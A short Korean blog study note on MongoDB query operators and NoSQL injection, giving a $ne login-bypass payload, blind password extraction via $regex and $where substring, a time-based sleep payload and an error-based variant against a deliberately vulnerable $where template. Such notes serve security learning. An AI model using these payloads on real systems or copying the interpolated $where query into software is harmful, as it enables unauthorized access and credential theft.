안쓰면 항상 까먹기때문에 정리해둔다.
비교연산 이용
$eq | 지정된 값과 같은 값을 찾습니다. (equal) |
$gt | 지정된 값보다 큰 값을 찾습니다. (greater than) |
$gte | 지정된 값보다 크거나 같은 값을 찾습니다. (greater than equal) |
$in | 배열 안의 값들과 일치하는 값을 찾습니다. (in) |
$lt | 지정된 값보다 작은 값을 찾습니다. (less than) |
$lte | 지정된 값보다 작거나 같은 값을 찾습니다. (less than equal) |
$ne | 지정된 값과 같지 않은 값을 찾습니다. (not equal) |
$nin | 배열 안의 값들과 일치하지 않는 값을 찾습니다. (not in) |
{"id": {"$ne":""}, "pw": {"$ne":""}}
다음처럼 $ne와 같은 비교연산자를 통해 모든결과를 출력가능(id가 ""가 아니고 pw가 ""가 아닌 모든 값이기 때문)
blind sql injection
> db.user.find({pw: {$regex: "^a"}})
다음과같이 $regex 정규식 연산자를 통해 하나씩 찾아가면된다.
> db.user.find({$where: "this.pw.substring(0,1)=='a'"})
필드안에선 where사용이 안되지만 다음처럼 사용이 가능하다.
time based injection
db.user.find({$where: `this.id=='${req.query.id}'&&this.pw=='${req.query.pw}'`});
다음과 같은 식이있을때
/?id=guest'&&this.pw.substring(0,1)=='a'&&sleep(5000)&&'1
다음을 id값으로 주면 id가 guest인것의 pw값을 substring을 이용해 분할하면서 and연산의 최적화를 이용한것으로 거짓일때는 뒤에구문을 넘어가지만 앞에것이 참이면 뒤에구문도 봐야하므로 sleep에 걸리게 되는것이 참
error based injection
db.user.find({$where: "this.id=='guest'&&this.pw.substring(0,1)=='a'&&asdf&&'1'&&this.pw=='${pw}'"});
최적화를 이용한것으로 this.upw.substring(0,1)=='a'가 거짓이면 and연산에서 뒤에구문은 볼필요도 없기때문에 넘어가지만 참일경우 뒤에구문도 봐야하기에 뒤의 asdf등등에서 에러가 발생
'웹' 카테고리의 다른 글
python flask debugger pin취약점 문제 (0) | 2022.06.08 |
---|---|
Blind OS Command Injection (1) | 2022.05.27 |
SSRF localhost, 127.0.0.1 bypass (2) | 2022.05.25 |
Python 쓰레드로 한번에 웹에 requests로 브루트포싱하기 (0) | 2021.11.08 |
Turbo Intruder에서 word list를 못 찾아올때 (0) | 2020.08.06 |